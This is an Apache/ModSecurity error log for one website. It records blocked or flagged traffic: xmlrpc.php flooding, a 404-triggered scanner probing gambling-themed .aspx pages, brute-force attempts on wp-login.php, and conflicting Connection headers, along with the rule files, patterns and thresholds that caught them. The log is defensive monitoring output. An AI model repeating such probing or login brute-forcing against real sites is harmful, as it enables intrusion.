[Wed Apr 29 06:57:13.641621 2026] [:error] [pid 40344:tid 40387] [client 105.235.134.214:34825] [client 105.235.134.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.134.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afE7SZ_iiwb4cHXz-JoBewAAAcw"]
[Wed Apr 29 06:57:24.200897 2026] [:error] [pid 40344:tid 40383] [client 105.235.134.214:38819] [client 105.235.134.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.134.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afE7VJ_iiwb4cHXz-JoBigAAAcg"]
[Wed Apr 29 06:57:34.929294 2026] [:error] [pid 56863:tid 56887] [client 105.235.134.214:41455] [client 105.235.134.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.134.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afE7XmQQTEnvYCOsiwLcqwAAANY"]
[Wed Apr 29 06:57:45.458171 2026] [:error] [pid 40344:tid 40398] [client 105.235.134.214:45260] [client 105.235.134.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.235.134.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afE7aZ_iiwb4cHXz-JoBkAAAAdc"]
[Wed Apr 29 08:33:58.371729 2026] [:error] [pid 56757:tid 56842] [client 5.135.131.226:51254] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afFR9vj76quHaaG1miShkgAAAJc"]
[Wed Apr 29 08:34:00.240211 2026] [:error] [pid 56757:tid 56835] [client 5.135.131.226:39160] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afFR-Pj76quHaaG1miShlAAAAJA"]
[Wed Apr 29 08:34:02.160823 2026] [:error] [pid 40313:tid 40333] [client 5.135.131.226:39170] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afFR-qpx5sKFuV9bHzp1ZwAAAVI"]
[Wed Apr 29 08:34:04.100055 2026] [:error] [pid 26594:tid 26612] [client 5.135.131.226:39176] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afFR_Ns-37Kay1vO52lGSQAAARA"]
[Wed Apr 29 08:34:06.031648 2026] [:error] [pid 26594:tid 26599] [client 5.135.131.226:39178] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afFR_ts-37Kay1vO52lGSgAAAQM"]
[Wed Apr 29 08:34:07.958059 2026] [:error] [pid 56863:tid 56875] [client 5.135.131.226:57214] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afFR_2QQTEnvYCOsiwL8aQAAAMo"]
[Wed Apr 29 08:34:09.882849 2026] [:error] [pid 40343:tid 40360] [client 5.135.131.226:57228] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afFSAWiaWCZjSxz2ZNuQngAAAYw"]
[Wed Apr 29 08:34:11.798807 2026] [:error] [pid 56863:tid 56872] [client 5.135.131.226:57242] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afFSA2QQTEnvYCOsiwL8bQAAAMc"]
[Wed Apr 29 08:34:13.917450 2026] [:error] [pid 40313:tid 40317] [client 5.135.131.226:57256] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afFSBapx5sKFuV9bHzp1bQAAAUI"]
[Wed Apr 29 08:34:15.993491 2026] [:error] [pid 56757:tid 56839] [client 5.135.131.226:57262] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afFSB_j76quHaaG1miShnAAAAJQ"]
[Wed Apr 29 08:34:18.086180 2026] [:error] [pid 40343:tid 40369] [client 5.135.131.226:54778] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afFSCmiaWCZjSxz2ZNuQpgAAAZU"]
[Wed Apr 29 08:34:19.997980 2026] [:error] [pid 40343:tid 40354] [client 5.135.131.226:54784] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afFSC2iaWCZjSxz2ZNuQqAAAAYc"]
[Wed Apr 29 08:34:21.910904 2026] [:error] [pid 40343:tid 40353] [client 5.135.131.226:54790] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afFSDWiaWCZjSxz2ZNuQrwAAAYY"]
[Wed Apr 29 08:34:23.857559 2026] [:error] [pid 40343:tid 40347] [client 5.135.131.226:54806] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afFSD2iaWCZjSxz2ZNuQsgAAAYA"]
[Wed Apr 29 08:34:25.922735 2026] [:error] [pid 40343:tid 40369] [client 5.135.131.226:54822] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afFSEWiaWCZjSxz2ZNuQtAAAAZU"]
[Wed Apr 29 08:34:27.841974 2026] [:error] [pid 56756:tid 56793] [client 5.135.131.226:47160] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afFSE3Di78vq-l2wwMwcygAAAEE"]
[Wed Apr 29 08:34:29.756718 2026] [:error] [pid 40343:tid 40364] [client 5.135.131.226:47162] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afFSFWiaWCZjSxz2ZNuQuAAAAZA"]
[Wed Apr 29 08:34:31.832481 2026] [:error] [pid 40343:tid 40362] [client 5.135.131.226:47174] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afFSF2iaWCZjSxz2ZNuQuwAAAY4"]
[Wed Apr 29 08:34:33.760748 2026] [:error] [pid 56863:tid 56882] [client 5.135.131.226:47188] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afFSGWQQTEnvYCOsiwL8dAAAANE"]
[Wed Apr 29 08:34:35.841531 2026] [:error] [pid 40313:tid 40321] [client 5.135.131.226:47192] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afFSG6px5sKFuV9bHzp1eAAAAUY"]
[Wed Apr 29 08:34:37.758362 2026] [:error] [pid 40343:tid 40348] [client 5.135.131.226:47270] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afFSHWiaWCZjSxz2ZNuQvQAAAYE"]
[Wed Apr 29 08:34:39.662913 2026] [:error] [pid 40343:tid 40369] [client 5.135.131.226:47272] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afFSH2iaWCZjSxz2ZNuQvgAAAZU"]
[Wed Apr 29 08:34:41.555969 2026] [:error] [pid 40313:tid 40326] [client 5.135.131.226:47288] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afFSIapx5sKFuV9bHzp1ewAAAUs"]
[Wed Apr 29 08:34:43.494233 2026] [:error] [pid 40343:tid 40357] [client 5.135.131.226:47302] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afFSI2iaWCZjSxz2ZNuQwQAAAYo"]
[Wed Apr 29 08:34:45.577934 2026] [:error] [pid 56755:tid 56782] [client 5.135.131.226:47306] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afFSJfdXjiwtyGfj4lxVhwAAABI"]
[Wed Apr 29 08:34:47.496782 2026] [:error] [pid 56863:tid 56878] [client 5.135.131.226:54162] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "afFSJ2QQTEnvYCOsiwL8fgAAAM0"]
[Wed Apr 29 08:34:49.588802 2026] [:error] [pid 56863:tid 56870] [client 5.135.131.226:54176] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "afFSKWQQTEnvYCOsiwL8gwAAAMU"]
[Wed Apr 29 08:34:51.505996 2026] [:error] [pid 40313:tid 40325] [client 5.135.131.226:54184] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "afFSK6px5sKFuV9bHzp1fgAAAUo"]
[Wed Apr 29 08:34:53.419496 2026] [:error] [pid 40344:tid 40375] [client 5.135.131.226:54190] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "afFSLZ_iiwb4cHXz-JobZgAAAcA"]
[Wed Apr 29 10:53:59.531563 2026] [:error] [pid 61541:tid 61621] [client 79.134.40.13:42118] [client 79.134.40.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.134.40.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afFyx1oqNK1GZvjPpy5bFgAAAhU"]
[Wed Apr 29 11:10:10.483633 2026] [:error] [pid 2604:tid 2614] [client 174.0.205.170:56494] [client 174.0.205.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.0.205.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afF2khx5WQMU1W68tTb3mwAAAEg"]
[Wed Apr 29 11:10:20.786874 2026] [:error] [pid 61540:tid 61575] [client 174.0.205.170:56929] [client 174.0.205.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.0.205.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afF2nOQ8cJB7pQslzIehUwAAAII"]
[Wed Apr 29 11:10:31.321093 2026] [:error] [pid 61539:tid 61563] [client 174.0.205.170:57280] [client 174.0.205.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.0.205.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afF2p13XmLvOLqFtXVEpCQAAABQ"]
[Wed Apr 29 11:10:41.903334 2026] [:error] [pid 61540:tid 61591] [client 174.0.205.170:57635] [client 174.0.205.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.0.205.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afF2seQ8cJB7pQslzIehYgAAAJI"]
[Wed Apr 29 11:10:52.434509 2026] [:error] [pid 2604:tid 2608] [client 174.0.205.170:57989] [client 174.0.205.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.0.205.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afF2vBx5WQMU1W68tTb3ogAAAEI"]
[Wed Apr 29 12:54:11.857658 2026] [:error] [pid 61541:tid 61606] [client 170.106.160.90:42580] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afGO81oqNK1GZvjPpy5twwAAAgY"]
[Wed Apr 29 15:27:59.019082 2026] [:error] [pid 45119:tid 45125] [client 45.119.85.39:54669] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp/wp-login.php"] [unique_id "afGy_8gCO5XKzjdJ_HYNLQAAAwQ"], referer: https://www.google.com
[Wed Apr 29 15:27:59.019172 2026] [:error] [pid 45119:tid 45125] [client 45.119.85.39:54669] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 64"] [hostname "gigfragments.org"] [uri "/wp/wp-login.php"] [unique_id "afGy_8gCO5XKzjdJ_HYNLQAAAwQ"], referer: https://www.google.com
[Wed Apr 29 15:47:56.402109 2026] [:error] [pid 45054:tid 45067] [client 45.119.85.39:52009] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wordpress/wp-login.php"] [unique_id "afG3rItL6SUL31r23c-lRAAAAos"], referer: https://www.google.com
[Wed Apr 29 15:47:56.402169 2026] [:error] [pid 45054:tid 45067] [client 45.119.85.39:52009] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 238"] [hostname "gigfragments.org"] [uri "/wordpress/wp-login.php"] [unique_id "afG3rItL6SUL31r23c-lRAAAAos"], referer: https://www.google.com
[Wed Apr 29 17:21:38.254074 2026] [:error] [pid 45119:tid 45139] [client 43.164.133.138:60132] [client 43.164.133.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afHNosgCO5XKzjdJ_HYUbQAAAxI"]
[Wed Apr 29 18:16:33.467927 2026] [:error] [pid 45085:tid 45094] [client 162.62.213.187:43388] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afHagdS7eNjgd8gD6ZwOEwAAAsc"]
[Wed Apr 29 19:05:04.098997 2026] [:error] [pid 45054:tid 45068] [client 103.47.17.38:63611] [client 103.47.17.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.47.17.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afHl4ItL6SUL31r23c_RKQAAAow"]
[Wed Apr 29 19:05:14.584622 2026] [:error] [pid 44766:tid 44773] [client 103.47.17.38:63981] [client 103.47.17.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.47.17.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afHl6qVI9GtM_JyauAJA1QAAAYU"]
[Wed Apr 29 19:05:25.036805 2026] [:error] [pid 44860:tid 44874] [client 103.47.17.38:64266] [client 103.47.17.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.47.17.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afHl9UQ82el2g7ESJ16c4AAAAkw"]
[Wed Apr 29 19:05:36.725352 2026] [:error] [pid 45054:tid 45080] [client 103.47.17.38:64558] [client 103.47.17.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.47.17.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afHmAItL6SUL31r23c_RSAAAApg"]
[Wed Apr 29 19:05:46.108452 2026] [:error] [pid 45054:tid 45062] [client 103.47.17.38:64849] [client 103.47.17.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.47.17.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afHmCotL6SUL31r23c_RWgAAAoY"]
[Wed Apr 29 19:14:09.802055 2026] [:error] [pid 61540:tid 61575] [client 103.47.17.37:63231] [client 103.47.17.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.47.17.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afHoAeQ8cJB7pQslzIfv8AAAAII"]
[Wed Apr 29 20:34:29.453118 2026] [:error] [pid 21227:tid 21245] [client 171.237.142.74:51601] [client 171.237.142.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.237.142.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afH61cB3c6U5AGPPsXqGDAAAAMw"]
[Wed Apr 29 21:13:36.241782 2026] [:error] [pid 21536:tid 21548] [client 103.81.92.13:21411] [client 103.81.92.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.81.92.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afIEACREaVkH9P5H_LQl5AAAAIo"]
[Wed Apr 29 21:13:46.611972 2026] [:error] [pid 21138:tid 21200] [client 103.81.92.13:4647] [client 103.81.92.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.81.92.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afIECpuzwUiyMeUnp33leQAAAQM"]
